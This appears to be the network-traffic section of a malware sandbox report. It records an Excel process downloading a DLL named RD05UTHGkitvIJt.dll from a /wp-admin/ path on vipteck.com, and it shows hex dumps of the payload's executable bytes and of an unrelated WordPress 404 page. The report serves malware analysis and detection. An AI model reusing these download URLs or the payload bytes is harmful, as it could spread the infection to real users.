6f 6e 79 20 6e 69 65 20 7a 6e 61 6c 65 7a 69 6f 6e 6f 20 2d 20 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a Data Ascii: 11f00<!DOCTYPE html>...[if IE 7]><html class="ie ie7" lang="pl-PL"><![endif]-->...[if IE 8]><html class="ie ie8" lang="pl-PL"><![endif]-->...[if !(IE 7) & !(IE 8)]>...><html lang="pl-PL">...<![endif]--><head><meta charset="UTF-8" /><title>Nie znaleziono stronyProjektowanie stron internetowych Opole</title><link rel="profile" href="http://gmpg.org/xfn/11"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href='https://fonts.googleapis.com/css?family=Roboto:400,100,300&subset=latin,latin-ext' rel='stylesheet' type='text/css'> <meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v18.9 - https://yoast.com/wordpress/plugins/seo/ --><meta property="og:locale" content="pl_PL" /><meta property="og:title" content="Strony nie znaleziono - Projektowanie stron internetowych Opole" /><meta property="og:
May 23, 2022 08:35:07.104918003 CEST	1173	IN	Data Raw: 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 Data Ascii: site_name" content="Projektowanie stron internetowych Opole" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://www.kabeonet.pl/#organization","na
May 23, 2022 08:35:07.104959011 CEST	1174	IN	Data Raw: 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c Data Ascii: bootstrapcdn.com' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//s.w.org' /><link rel='dns-prefetch' href='//c0.wp.com' /><link rel='dns-prefetch' href='//i0.wp.com' /><script type="text/javascript">
May 23, 2022 08:35:07.104996920 CEST	1176	IN	Data Raw: 21 73 28 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 2c 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 38 32 30 33 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 29 26 26 21 73 28 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 35 36 31 32 Data Ascii: !s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,
May 23, 2022 08:35:07.105036974 CEST	1177	IN	Data Raw: 6e 74 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 Data Ascii: nt;background: none !important;padding: 0 !important;}</style><link rel='stylesheet' id='wp-block-library-css' href='https://c0.wp.com/c/5.9.3/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' /><style id=
May 23, 2022 08:35:07.105081081 CEST	1179	IN	Data Raw: 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 3a 20 23 38 65 64 31 66 63 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 3a Data Ascii: --wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,
May 23, 2022 08:35:07.105120897 CEST	1180	IN	Data Raw: 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 34 35 2c 32 30 33 29 20 30 25 2c 72 67 62 28 31 38 32 2c 32 32 37 2c 32 31 32 29 20 35 30 25 Data Ascii: dient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight
May 23, 2022 08:35:07.105159998 CEST	1181	IN	Data Raw: 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d Data Ascii: eset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-ligh
May 23, 2022 08:35:07.105200052 CEST	1183	IN	Data Raw: 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 Data Ascii: r: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--pr
May 23, 2022 08:35:07.105238914 CEST	1184	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 Data Ascii: p--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !im
May 23, 2022 08:35:07.146222115 CEST	1186	IN	Data Raw: 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c Data Ascii: -blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-grad

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49174	188.114.97.10	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 06:34:52 UTC	0	OUT	GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: vipteck.com Connection: Keep-Alive
2022-05-23 06:34:52 UTC	0	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 06:34:52 GMT Content-Type: application/x-msdownload Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.29 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 06:34:52 GMT Content-Disposition: attachment; filename="RD05UTHGkitvIJt.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b2b0ca6399=1653287692; expires=Mon, 23-May-2022 06:35:52 GMT; Max-Age=60; path=/ Vary: X-Forwarded-Proto,Accept-Encoding Last-Modified: Mon, 23 May 2022 06:34:52 GMT CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=by6ZvOmyimayF6BkcsLzKiu3y21jUr1e57DCFmUt3omG24YRiSwFOob%2F2Jo5mCoQ%2FijuxUgJZFotRBbkK1bzIbcREfYRxbzFJ0liPS%2FjHPrtMNjGLyKQVUZridHxEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 70fbc4ad9a649be0-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-05-23 06:34:52 UTC	1	IN	Data Raw: 63 37 31 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 Data Ascii: c71MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b
2022-05-23 06:34:52 UTC	1	IN	Data Raw: 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 Data Ascii: 5T@P .text
2022-05-23 06:34:52 UTC	3	IN	Data Raw: c7 4c 2b c0 90 0f b6 10 42 0f b6 0c 00 2b d1 75 07 48 ff c0 85 c9 75 ed 85 d2 74 0f 49 83 c1 04 49 83 c2 02 45 85 db 75 cc eb 0b 41 0f b7 02 8b 5c 85 00 48 03 df 48 8b 6c 24 10 48 8b 74 24 20 48 8b c3 48 8b 5c 24 18 5f c3 cc cc cc cc cc cc cc cc cc cc cc 40 55 56 48 8d ac 24 28 f5 ff ff 48 81 ec d8 0b 00 00 48 8b 05 4f 9d 02 00 48 33 c4 48 89 85 c0 0a 00 00 ff ca 48 8b f1 0f 85 0d 1e 00 00 c7 44 24 20 06 b8 27 4e c7 44 24 24 56 1d 6f 1b c7 44 24 28 66 37 32 01 c7 44 24 2c 71 1e 2f 28 c7 44 24 30 0f 18 a6 c3 c7 44 24 34 0e 50 b7 d5 c7 44 24 38 99 12 d0 80 c7 44 24 3c fd 77 43 35 c7 44 24 40 42 aa a1 1d c7 44 24 44 4d 19 67 1d c7 44 24 48 6a 2f c8 8b c7 44 24 4c 7c ff 1a 27 c7 44 24 50 04 fc b5 20 c7 44 24 54 2e 23 ee 28 c7 44 24 58 09 32 ad 18 c7 44 24 5c Data Ascii: L+B+uHutIIEuA\HHl$Ht$ HH\$_@UVH$(HHOH3HHD$ 'ND$$VoD$(f72D$,q/(D$0D$4PD$8D$<wC5D$@BD$DMgD$Hj/D$L\|'D$P D$T.#(D$X2D$\
2022-05-23 06:34:52 UTC	4	IN	Data Raw: 60 3d c7 85 70 01 00 00 4d 31 33 55 c7 85 74 01 00 00 80 6c d6 3d c7 85 78 01 00 00 4d 70 1c a6 c7 85 7c 01 00 00 22 0a af 0c c7 85 80 01 00 00 0e 46 5f 51 c7 85 84 01 00 00 69 35 3e ce c7 85 88 01 00 00 61 55 4a 27 c7 85 8c 01 00 00 a7 91 3a ec c7 85 90 01 00 00 34 4e 53 0b c7 85 94 01 00 00 ef 71 a6 1a c7 85 98 01 00 00 56 f7 7d b5 c7 85 9c 01 00 00 21 40 43 2b c7 85 a0 01 00 00 e8 ac fa 24 c7 85 a4 01 00 00 55 39 ac 6f c7 85 a8 01 00 00 4c 20 5d 31 c7 85 ac 01 00 00 78 6a 16 c5 c7 85 b0 01 00 00 68 69 11 37 c7 85 b4 01 00 00 99 94 6c d4 c7 85 b8 01 00 00 35 0d 0a Data Ascii: `=pM13Utl=xMp\|"F_Qi5>aUJ':4NSqV}!@C+$U9oL ]1xjhi7l5
2022-05-23 06:34:52 UTC	4	IN	Data Raw: 37 37 37 0d 0a 4d 68 18 c7 85 bc 01 00 00 a6 2b 0e 20 c7 85 c0 01 00 00 0d 19 a6 12 c7 85 c4 01 00 00 d8 28 11 5e c7 85 c8 01 00 00 0f b8 3c 42 c7 85 cc 01 00 00 a1 1c 61 52 c7 85 d0 01 00 00 6b 78 66 63 c7 85 d4 01 00 00 0b ef 60 52 c7 85 d8 01 00 00 7f 24 c8 e1 c7 85 dc 01 00 00 74 ee 28 4f c7 85 e0 01 00 00 57 2d ac 3f c7 85 e4 01 00 00 bc 10 0a 94 c7 85 e8 01 00 00 63 e1 44 6a c7 85 ec 01 00 00 19 2e 59 9e c7 85 f0 01 00 00 8f 79 d5 77 c7 85 f4 01 00 00 1f 08 24 68 c7 85 f8 01 00 00 d2 34 39 9f c7 85 fc 01 00 00 15 b7 3d 4f c7 85 00 02 00 00 1b 27 62 eb c7 85 04 02 00 00 0e 75 4c f2 c7 85 08 02 00 00 33 e3 40 03 c7 85 0c 02 00 00 09 03 3e 82 c7 85 10 02 00 00 37 c3 2f 6a c7 85 14 02 00 00 a4 07 46 6c c7 85 18 02 00 00 3a 30 04 53 c7 85 1c 02 00 00 f2 Data Ascii: 777Mh+ (^<BaRkxfc`R$t(OW-?cDj.Yyw$h49=O'buL3@>7/jFl:0S
2022-05-23 06:34:52 UTC	5	IN	Data Raw: 85 dc 03 00 00 0e e7 fd 79 c7 85 e0 03 00 00 db a9 32 35 c7 85 e4 03 00 00 3c 2d 07 15 c7 85 e8 03 00 00 5b 2d 22 84 c7 85 ec 03 00 00 a5 6a 69 2e c7 85 f0 03 00 00 2b 68 0f cb c7 85 f4 03 00 00 88 6e 6a 5e c7 85 f8 03 00 00 f0 58 cb 31 c7 85 fc 03 00 00 76 00 79 63 c7 85 00 04 00 00 5b 76 ec f2 c7 85 04 04 00 00 55 2b 6f 6e c7 85 08 04 00 00 e3 0f 12 27 c7 85 0c 04 00 00 e1 50 6c 35 c7 85 10 04 00 00 76 06 b1 b2 c7 85 14 04 00 00 65 e3 cf 40 c7 85 18 04 00 00 72 67 77 dd c7 85 1c 04 00 00 24 45 23 bf c7 85 20 04 00 00 a9 50 d2 78 c7 85 24 04 00 00 21 b9 a5 10 c7 85 28 04 00 00 43 2f e6 e0 c7 85 2c 04 00 00 5e 60 de e9 c7 85 30 04 00 00 23 28 a7 8b c7 85 34 04 00 00 1f 35 ee b8 c7 85 38 04 00 00 2b 4f b7 5c c7 85 3c 04 00 00 70 75 b6 ab c7 85 40 04 00 00 Data Ascii: y25<-[-"ji.+hnj^X1vyc[vU+on'Pl5ve@rgw$E# Px$!(C/,^`0#(458+O\<pu@
2022-05-23 06:34:52 UTC	6	IN	Data Raw: 37 37 66 0d 0a c5 e7 c7 85 b8 04 00 00 58 a3 a1 1d c7 85 bc 04 00 00 3c 05 ba ae c7 85 c0 04 00 00 ed 06 18 1e c7 85 c4 04 00 00 c7 68 58 50 c7 85 c8 04 00 00 2b e6 69 54 c7 85 cc 04 00 00 c3 7c 5a 61 c7 85 d0 04 00 00 06 38 46 7b c7 85 d4 04 00 00 c8 ff 30 69 c7 85 d8 04 00 00 b0 d2 41 43 c7 85 dc 04 00 00 ef 7c 73 88 c7 85 e0 04 00 00 ad 2a 57 0d c7 85 e4 04 00 00 63 20 bc e2 c7 85 e8 04 00 00 74 66 9f 23 c7 85 ec 04 00 00 ee d8 a9 7a c7 85 f0 04 00 00 24 55 36 dc c7 85 f4 04 00 00 6c 7c 66 0a c7 85 f8 04 00 00 0a 14 6c 2d c7 85 fc 04 00 00 76 70 c0 76 c7 85 00 05 00 00 5e 2a 43 e4 c7 85 04 05 00 00 1a f2 a6 1d c7 85 08 05 00 00 69 13 19 35 c7 85 0c 05 00 00 29 c3 7a 62 c7 85 10 05 00 00 1b da 24 c9 c7 85 14 05 00 00 37 c8 f4 34 c7 85 18 05 00 00 69 a8 Data Ascii: 77fX<hXP+iT\|Za8F{0iAC\|sWc tf#z$U6l\|fl-vpv^Ci5)zb$74i
2022-05-23 06:34:52 UTC	7	IN	Data Raw: d8 06 00 00 15 48 05 33 c7 85 dc 06 00 00 70 f5 35 e1 c7 85 e0 06 00 00 50 14 ce a2 c7 85 e4 06 00 00 23 f3 14 73 c7 85 e8 06 00 00 0f 61 c7 3a c7 85 ec 06 00 00 5c 9e 7e be c7 85 f0 06 00 00 32 2d e1 a2 c7 85 f4 06 00 00 13 3a 69 ff c7 85 f8 06 00 00 ed 2c 31 2e c7 85 fc 06 00 00 24 df 06 7d c7 85 00 07 00 00 e3 80 45 16 c7 85 04 07 00 00 c5 6f 4f 78 c7 85 08 07 00 00 fd a6 08 27 c7 85 0c 07 00 00 8e 3d 51 5a c7 85 10 07 00 00 24 22 27 d5 c7 85 14 07 00 00 a8 0c 12 62 c7 85 18 07 00 00 58 24 9b 7d c7 85 1c 07 00 00 ff 17 11 59 c7 85 20 07 00 00 2f 55 98 0d c7 85 24 07 00 00 ff 33 5c 4a c7 85 28 07 00 00 05 ca 26 10 c7 85 2c 07 00 00 56 39 ec 73 c7 85 30 07 00 00 11 1e 28 ef c7 85 34 07 00 00 a4 2e ee eb c7 85 38 07 00 00 3b db 81 70 c7 85 3c 07 00 00 e8 Data Ascii: H3p5P#sa:\~2-:i,1.$}EoOx'=QZ$"'bX$}Y /U$3\J(&,V9s0(4.8;p<
2022-05-23 06:34:53 UTC	8	IN	Data Raw: 37 37 34 0d 0a 25 e0 11 c7 85 b8 07 00 00 6d 69 f1 ec c7 85 bc 07 00 00 10 b2 15 27 c7 85 c0 07 00 00 20 03 bd 7d c7 85 c4 07 00 00 68 91 12 71 c7 85 c8 07 00 00 3a 39 6d 3f c7 85 cc 07 00 00 ed 57 6c da c7 85 d0 07 00 00 ab 10 50 14 c7 85 d4 07 00 00 24 d8 e8 5b c7 85 d8 07 00 00 9a c1 49 12 c7 85 dc 07 00 00 d2 ae 37 3f c7 85 e0 07 00 00 c8 f5 39 69 c7 85 e4 07 00 00 b5 1c 7d 70 c7 85 e8 07 00 00 13 71 22 9c c7 85 ec 07 00 00 83 26 0c 72 c7 85 f0 07 00 00 5d 10 c0 7d c7 85 f4 07 00 00 b5 31 40 43 c7 85 f8 07 00 00 22 56 e1 32 c7 85 fc 07 00 00 a9 01 1d 4b c7 85 00 08 00 00 4d e1 44 6a c7 85 04 08 00 00 11 0d e3 1a c7 85 08 08 00 00 6c 1e 01 ba c7 85 0c 08 00 00 b8 27 bf f0 c7 85 10 08 00 00 17 fa af 50 c7 85 14 08 00 00 19 a8 a8 22 c7 85 18 08 00 00 2d Data Ascii: 774%mi' }hq:9m?WlP$[I7?9i}pq"&r]}1@C"V2KMDjl'P"-
2022-05-23 06:34:53 UTC	9	IN	Data Raw: 85 d8 09 00 00 31 e2 5c 75 c7 85 dc 09 00 00 4b 6f 2a 68 c7 85 e0 09 00 00 c3 db 2e d1 c7 85 e4 09 00 00 01 74 79 fd c7 85 e8 09 00 00 09 25 3c e1 c7 85 ec 09 00 00 27 68 08 f7 c7 85 f0 09 00 00 a7 77 ee d7 c7 85 f4 09 00 00 43 62 34 37 c7 85 f8 09 00 00 50 75 76 6d c7 85 fc 09 00 00 75 06 24 57 c7 85 00 0a 00 00 54 b7 6c f1 c7 85 04 0a 00 00 2d a6 36 14 c7 85 08 0a 00 00 2f 4c 42 c5 c7 85 0c 0a 00 00 ad 6b e2 5e c7 85 10 0a 00 00 48 3c c8 ea c7 85 14 0a 00 00 02 b2 08 af c7 85 18 0a 00 00 5b 5d 21 99 c7 85 1c 0a 00 00 b8 3b 2b 25 c7 85 20 0a 00 00 df 98 6f e3 c7 85 24 0a 00 00 88 25 4d 7d c7 85 28 0a 00 00 fd 0f 11 79 c7 85 2c 0a 00 00 2f ed 82 4a c7 85 30 0a 00 00 cc 66 b9 a0 c7 85 34 0a 00 00 6e c3 5b 55 c7 85 38 0a 00 00 0a 5c e6 f5 c7 85 3c 0a 00 00 Data Ascii: 1\uKo*h.ty%<'hwCb47Puvmu$WTl-6/LBk^H<[]!;+% o$%M}(y,/J0f4n[U8\<
2022-05-23 06:34:53 UTC	10	IN	Data Raw: 39 31 39 0d 0a e1 3a c7 85 b0 0a 00 00 7c 65 3a ec c7 85 b4 0a 00 00 0c 4e 4b 0b c7 85 b8 0a 00 00 e1 f0 66 00 c6 85 bc 0a 00 00 a6 ff 15 80 f3 01 00 33 c9 48 85 c0 75 1f 48 8d 15 42 f4 01 00 45 33 c9 45 33 c0 ff 15 46 f3 01 00 b9 01 00 00 00 ff 15 fb f0 01 00 cc 48 89 9c 24 f8 0b 00 00 ba 9d 0b 00 00 41 b9 40 00 00 00 41 b8 00 30 00 00 48 89 bc 24 00 0c 00 00 4c 89 a4 24 d0 0b 00 00 ff 15 c3 f0 01 00 b9 00 e1 f5 05 48 8b d8 ff 15 15 f3 01 00 48 8b f8 48 85 c0 74 19 33 d2 41 b8 00 e1 f5 05 48 8b c8 e8 2d 03 00 00 48 8b cf ff 15 ec f2 01 00 33 c0 4c 8d 4c 24 20 4c 8d 54 24 21 48 89 05 01 94 02 00 48 89 05 02 94 02 00 48 89 05 03 94 02 00 48 89 05 04 94 02 00 48 89 05 05 94 02 00 4c 8d 05 4e f3 01 00 4c 8d 5c 24 22 48 89 05 fa 93 02 00 48 b8 e4 e9 66 52 01 Data Ascii: 919:\|e:NKf3HuHBE3E3FH$A@A0H$L$HHHt3AH-H3LL$ LT$!HHHHHLNL\$"HHfR
2022-05-23 06:34:53 UTC	11	IN	Data Raw: ad 3b 00 00 85 c0 74 16 e8 c4 48 00 00 e8 bf 09 00 00 e8 8a 54 00 00 33 c0 e9 29 01 00 00 b9 01 00 00 00 e8 59 3b 00 00 8b 05 73 8f 02 00 ff c0 89 05 6b 8f 02 00 e9 07 01 00 00 83 7c 24 58 00 75 59 83 3d 58 8f 02 00 00 7e 44 8b 05 50 8f 02 00 ff c8 89 05 48 8f 02 00 83 3d 5d 95 02 00 00 75 05 e8 1a 3c 00 00 e8 65 48 00 00 e8 60 09 00 00 e8 2b 54 00 00 90 48 83 7c 24 60 00 75 0e 83 3d 7b 7b 02 00 ff 74 05 e8 44 09 00 00 eb 07 33 c0 e9 b1 00 00 00 e9 a7 00 00 00 83 7c 24 58 02 0f 85 8e 00 00 00 e8 46 08 00 00 c7 44 24 20 da 00 00 00 4c 8d 0d df ee 01 00 41 b8 02 00 00 00 ba c8 02 00 00 b9 01 00 00 00 e8 82 14 00 00 48 89 44 24 30 48 83 7c 24 30 00 74 52 48 8b 54 24 30 8b 0d 1a 7b 02 00 ff 15 34 eb 01 00 85 c0 74 28 33 d2 48 8b 4c 24 30 e8 04 09 00 00 ff 15 Data Ascii: ;tHT3)Y;sk\|$XuY=X~DPH=]u<eH`+TH\|$`u={{tD3\|$XFD$ LAHD$0H\|$0tRHT$0{4t(3HL$0
2022-05-23 06:34:53 UTC	12	IN	Data Raw: 64 33 65 0d 0a 01 00 00 00 48 8b 05 19 78 02 00 48 89 44 24 68 48 8b 05 15 78 02 00 48 89 44 24 70 ff 15 6a e8 01 00 89 05 6c 8c 02 00 b9 01 00 00 00 e8 6a 55 00 00 33 c9 ff 15 4a e8 01 00 48 8d 0d cb eb 01 00 ff 15 35 e8 01 00 83 3d 46 8c 02 00 00 75 0a b9 01 00 00 00 e8 42 55 00 00 ff 15 14 e8 01 00 ba 09 04 00 c0 48 8b c8 ff 15 fe e7 01 00 48 81 c4 88 00 00 00 c3 cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec a8 00 00 00 48 8b 84 24 c8 00 00 00 48 8b 40 08 48 89 44 24 78 48 8b 84 24 c8 00 00 00 48 8b 4c 24 78 48 8b 00 48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89 84 24 88 00 00 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 02 00 00 48 8b 84 24 b0 00 00 00 48 89 44 24 38 48 8b 84 Data Ascii: d3eHxHD$hHxHD$pjljU3JH5=FuBUHHLL$ LD$HT$HL$HH$H@HD$xH$HL$xHH+HD$hH$H@8H$H$@fH$HD$8H
2022-05-23 06:34:53 UTC	13	IN	Data Raw: c0 e9 9f 00 00 00 48 8d 0d db 02 00 00 ff 15 5d e3 01 00 89 05 cf 72 02 00 83 3d c8 72 02 00 ff 75 09 e8 91 00 00 00 33 c0 eb 7a c7 44 24 20 1b 01 00 00 4c 8d 0d 8e e6 01 00 41 b8 02 00 00 00 ba c8 02 00 00 b9 01 00 00 00 e8 e9 0b 00 00 48 89 44 24 30 48 83 7c 24 30 00 74 15 48 8b 54 24 30 8b 0d 81 72 02 00 ff 15 9b e2 01 00 85 c0 75 09 e8 42 00 00 00 33 c0 eb 2b 33 d2 48 8b 4c 24 30 e8 62 00 00 00 ff 15 74 e2 01 00 48 8b 4c 24 30 89 01 48 8b 44 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 e2 01 00 c7 05 0d 72 02 00 ff ff ff ff e8 88 52 00 00 48 83 c4 28 c3 cc cc cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d 96 Data Ascii: H]r=ru3zD$ LAHD$0H\|$0tHT$0ruB3+3HL$0btHL$0HD$0H@HHH(=%rtrrRH(HT$HL$H(HD$0H
